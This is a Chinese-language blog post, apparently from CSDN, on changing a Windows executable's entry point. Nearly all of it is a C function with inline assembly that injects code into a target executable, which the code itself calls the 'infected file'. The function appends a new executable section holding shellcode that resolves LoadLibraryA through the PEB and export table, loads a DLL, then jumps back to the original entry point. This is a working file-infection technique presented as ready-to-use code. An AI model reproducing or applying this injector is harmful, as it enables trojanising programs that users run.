PE文件的修改以及增加节区

修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

BOOL ChangeOEP(CString strFilePath)   
{   
    FILE*                   rwFile;                     // 被感染的文件   
    IMAGE_SECTION_HEADER    NewSection;                 // 定义要添加的区块   
    IMAGE_NT_HEADERS        NThea;                      //    
    DWORD                   pNT;                        // pNT中存放IMAGE_NT_HEADERS结构的地址   
    int                     nOldSectionNo;   
    int                     OEP;   
       
    if((rwFile=fopen(strFilePath,"rb"))==NULL){         // 打开文件失败则返回   
        return FALSE;   
    }   
       
    if(!CheckPE(rwFile)){                               // 如果不是PE文件则返回   
        return FALSE;   
    }   
       
    fseek(rwFile,0x3c,0);   
    fread(&pNT,sizeof(DWORD),1,rwFile);   
    fseek(rwFile,pNT,0);   
    fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);    // 读取原文件的IMAGE_NT_HEADERS结构   
    nOldSectionNo=NThea.FileHeader.NumberOfSections;    // 保存原文件区块数量   
    OEP=NThea.OptionalHeader.AddressOfEntryPoint;       // 保存原文件区块OEP   
    IMAGE_SECTION_HEADER    SEChea;                     // 定义一个区块存放原文件最后一个区块的信息   
    int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;   
    int FILE_ALIG=NThea.OptionalHeader.FileAlignment;   // 保存文件对齐值与区块对齐值   
    memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));   
    fseek(rwFile,pNT+248,0);                            // 读原文件最后一个区块的信息   
    for(int i=0;i<nOldSectionNo;i++)   
        fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);   
       
    FILE    *newfile = fopen(strFilePath,"rb+");   
    if(newfile==NULL){   
        return FALSE;   
    }   
    fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);   
    goto shellend;   
    __asm   
    {       
shell:  PUSHAD   
            MOV  EAX,DWORD PTR FS:[30H]     ;FS:[30H]指向PEB   
            MOV  EAX,DWORD PTR [EAX+0CH]    ;获取PEB_LDR_DATA结构的指针   
            MOV  EAX,DWORD PTR [EAX+1CH]    ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针   
            MOV  EAX,DWORD PTR [EAX]        ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针   
            MOV  EAX,DWORD PTR [EAX+08H]    ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址   
            MOV  EBP,EAX                    ;将Kernel32.dll模块基址地址放至kernel中   
            MOV  EAX,DWORD PTR [EAX+3CH]    ;指向IMAGE_NT_HEADERS   
            MOV  EAX,DWORD PTR [EBP+EAX+120];指向导出表   
            MOV  ECX,[EBP+EAX+24]           ;取导出表中导出函数名字的数目   
            MOV  EBX,[EBP+EAX+32]           ;取导出表中名字表的地址   
            ADD  EBX,EBP   
            PUSH WORD  PTR 0X00             ;构造GetProcAddress字符串   
            PUSH DWORD PTR 0X73736572   
            PUSH DWORD PTR 0X64644163   
            PUSH DWORD PTR 0X6F725074   
            PUSH WORD PTR 0X6547   
            MOV  EDX,ESP   
            PUSH ECX   
               
F1:     
        MOV  EDI,EDX   
            POP  ECX   
            DEC  ECX   
            TEST  ECX,ECX   
            JZ  EXIT   
            MOV  ESI,[EBX+ECX*4]       
            ADD  ESI,EBP   
            PUSH  ECX   
            MOV  ECX,15   
            REPZ  CMPSB   
            TEST  ECX,ECX   
            JNZ  F1   
               
            POP  ECX   
            MOV  ESI,[EBP+EAX+36]           ;取得导出表中序号表的地址   
            ADD  ESI,EBP   
            MOVZX  ESI,WORD PTR[ESI+ECX*2]  ;取得进入函数地址表的序号   
            MOV  EDI,[EBP+EAX+28]           ;取得函数地址表的地址   
            ADD  EDI,EBP   
            MOV  EDI,[EDI+ESI*4]            ;取得GetProcAddress函数的地址   
            ADD  EDI,EBP         
               
            PUSH WORD PTR 0X00              ;构造LoadLibraryA字符串   
            PUSH DWORD PTR 0X41797261   
            PUSH DWORD PTR 0X7262694C   
            PUSH DWORD PTR 0X64616F4C   
            PUSH ESP   
            PUSH  EBP   
            CALL  EDI                       ;调用GetProcAddress取得LoadLibraryA函数的地址   
            PUSH  WORD PTR 0X00             ;添加参数“test”符串   
            PUSH  DWORD PTR 0X74736574   
            PUSH  ESP   
            CALL  EAX   
EXIT:  ADD ESP,36                           ;平衡堆栈   
       POPAD   
    }   
shellend:   
    char*   pShell;   
    int     nShellLen;   
    BYTE    jmp = 0xE9;   
    __asm   
    {   
        LEA EAX,shell   
        MOV pShell,EAX;   
        LEA EBX,shellend   
        SUB EBX,EAX   
        MOV nShellLen,EBX   
    }   
           
    // 写入SHELLCODE,   
    for(i=0;i<nShellLen;i++)   
        fputc(pShell[i],newfile);   
           
    // SHELLCODE之后是跳转到原OEP的指令   
    NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);   
    OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;   
    fwrite(&jmp, sizeof(jmp), 1, newfile);   
    fwrite(&OEP, sizeof(OEP), 1, newfile);   
           
    // 将最后增加的数据用0填充至按文件中对齐的大小   
    for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)   
        fputc('\0',newfile);   
           
    // 新区块中的数据   
    strcpy((char*)NewSection.Name,".NYsky");   
    NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;   
    NewSection.Misc.VirtualSize=nShellLen;   
    NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);   
    NewSection.Characteristics=0xE0000020;   
           
    // 新区块可读可写可执行、写入新的块表   
    fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);   
    fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);   
       
    int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);   
    int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);   
    fseek(newfile,pNT,0);   
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;   
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;   
    NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;   
    NThea.OptionalHeader.SizeOfImage=nNewImageSize;   
    NThea.FileHeader.NumberOfSections=nOldSectionNo+1;   
    NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;   
           
    // 写入更新后的PE头结构   
    fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);   
    fclose(newfile);   
    fclose(rwFile);   
    return TRUE;   
}


评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值